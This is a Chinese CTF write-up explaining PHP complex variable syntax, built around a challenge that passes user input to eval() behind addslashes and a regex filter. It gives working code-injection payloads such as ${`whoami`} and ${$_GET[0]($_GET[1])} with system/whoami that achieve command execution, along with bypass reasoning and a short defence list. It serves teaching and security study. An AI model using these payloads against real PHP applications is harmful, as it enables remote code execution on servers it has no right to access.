从一道题讲PHP复杂变量
字数 1131 2025-08-26 22:11:35

PHP复杂变量解析与绕过技巧详解

1. 问题背景

题目给出的PHP代码如下:

<?php
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
if (preg_match('/[A-Za-z0-9]+\(/i', $str) == 1){
    die('hack');
}
eval('$a="' . $str . '";');
?>

这道题目展示了几个关键限制:

  1. 使用addslashes()对输入进行转义
  2. 正则表达式/[A-Za-z0-9]+\(/i阻止直接调用函数
  3. 通过eval执行拼接的字符串

2. PHP复杂变量基础

PHP复杂变量语法允许在字符串中使用复杂的表达式来解析变量。

基本语法

$great = 'fantastic';

// 无效,输出: This is { fantastic}
echo "This is { $great }";

// 有效,输出: This is fantastic
echo "This is {$great}";
echo "This is ${great}";

重要特性

  1. 任何具有string表达的标量变量、数组单元或对象属性都可使用此语法
  2. 只有$紧挨着{时才会被识别
  3. 可以使用{\$来表达{$

3. 复杂变量的高级用法

函数调用作为变量名

PHP允许使用函数的返回值作为变量名:

${phpinfo()} = 'test';

执行过程:

  1. 先执行phpinfo()函数
  2. 将返回值作为变量名
  3. 对变量进行赋值

实际示例

${system('whoami')} = 'test';

执行过程:

  1. 执行system('whoami')命令
  2. 将命令输出作为变量名
  3. 对变量进行赋值

4. 题目解法分析

4.1 无防护情况

最简单的情况:

<?php
error_reporting(0);
highlight_file(__FILE__);
$str = $_GET['str'];
eval('$a="' . $str . '";');
?>

解法:直接闭合双引号并执行命令

str=";phpinfo();//

4.2 添加addslashes防护

<?php
error_reporting(0);
highlight_file(__FILE__);
$str = $_GET['str'];
$str = addslashes($str);
eval('$a="' . $str . '";');
?>

解法:使用复杂变量语法绕过

str=${phpinfo()}

4.3 添加正则过滤

原题的正则/[A-Za-z0-9]+\(/i会阻止类似function()的调用。

解法思路:

  1. 使用非字母数字字符调用函数
  2. 利用字符串拼接和可变函数特性

方法一:使用反引号命令执行(需开启Notice回显)

str=${`whoami`}

方法二:使用字符串拼接绕过

// 将函数名拆分为字符串拼接
$f = 'sys'.'tem';
$f('whoami');

对应的payload构造:

str=${"`$_GET[1]`"}&1=whoami

方法三:利用动态函数调用

str=${$_GET[0]($_GET[1])}&0=system&1=whoami

5. 技术原理深入

5.1 PHP变量命名规则

PHP变量名规则:

  • $开头
  • 首字符为字母或下划线
  • 后续字符可以是字母、数字或下划线
  • 正则表达式:[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*

5.2 复杂变量解析机制

当PHP遇到${}结构时:

  1. 先解析{}内的表达式
  2. 将表达式结果作为变量名
  3. 如果表达式是函数调用,先执行函数
  4. 使用返回值作为变量名

5.3 安全绕过原理

  1. 绕过addslashes:复杂变量语法不需要闭合引号
  2. 绕过正则过滤:不使用直接函数调用形式
  3. 命令执行:利用函数返回值或反引号执行命令

6. 防御措施

  1. 避免使用eval()函数
  2. 使用更严格的正则表达式过滤
  3. 禁用危险函数(如system, exec等)
  4. 使用escapeshellarg()等函数处理命令参数

7. 扩展技巧

  1. 多重复杂变量
${${"a"."b"}} = "test";
  1. 数组形式调用
${array_shift(array("whoami"))} = "test";
  1. 类静态方法调用
${MyClass::myMethod()} = "test";

8. 总结

PHP复杂变量语法提供了强大的字符串解析能力,但也带来了潜在的安全风险。理解其工作原理对于安全开发和漏洞挖掘都至关重要。在实际开发中,应当谨慎处理用户输入,避免直接拼接执行代码。

PHP复杂变量解析与绕过技巧详解 1. 问题背景 题目给出的PHP代码如下: 这道题目展示了几个关键限制: 使用 addslashes() 对输入进行转义 正则表达式 /[A-Za-z0-9]+\(/i 阻止直接调用函数 通过 eval 执行拼接的字符串 2. PHP复杂变量基础 PHP复杂变量语法允许在字符串中使用复杂的表达式来解析变量。 基本语法 重要特性 任何具有string表达的标量变量、数组单元或对象属性都可使用此语法 只有 $ 紧挨着 { 时才会被识别 可以使用 {\$ 来表达 {$ 3. 复杂变量的高级用法 函数调用作为变量名 PHP允许使用函数的返回值作为变量名: 执行过程: 先执行 phpinfo() 函数 将返回值作为变量名 对变量进行赋值 实际示例 执行过程: 执行 system('whoami') 命令 将命令输出作为变量名 对变量进行赋值 4. 题目解法分析 4.1 无防护情况 最简单的情况: 解法:直接闭合双引号并执行命令 4.2 添加addslashes防护 解法:使用复杂变量语法绕过 4.3 添加正则过滤 原题的正则 /[A-Za-z0-9]+\(/i 会阻止类似 function() 的调用。 解法思路: 使用非字母数字字符调用函数 利用字符串拼接和可变函数特性 方法一:使用反引号命令执行(需开启Notice回显) 方法二:使用字符串拼接绕过 对应的payload构造: 方法三:利用动态函数调用 5. 技术原理深入 5.1 PHP变量命名规则 PHP变量名规则: 以 $ 开头 首字符为字母或下划线 后续字符可以是字母、数字或下划线 正则表达式: [a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]* 5.2 复杂变量解析机制 当PHP遇到 ${} 结构时: 先解析 {} 内的表达式 将表达式结果作为变量名 如果表达式是函数调用,先执行函数 使用返回值作为变量名 5.3 安全绕过原理 绕过addslashes :复杂变量语法不需要闭合引号 绕过正则过滤 :不使用直接函数调用形式 命令执行 :利用函数返回值或反引号执行命令 6. 防御措施 避免使用 eval() 函数 使用更严格的正则表达式过滤 禁用危险函数(如 system , exec 等) 使用 escapeshellarg() 等函数处理命令参数 7. 扩展技巧 多重复杂变量 : 数组形式调用 : 类静态方法调用 : 8. 总结 PHP复杂变量语法提供了强大的字符串解析能力,但也带来了潜在的安全风险。理解其工作原理对于安全开发和漏洞挖掘都至关重要。在实际开发中,应当谨慎处理用户输入,避免直接拼接执行代码。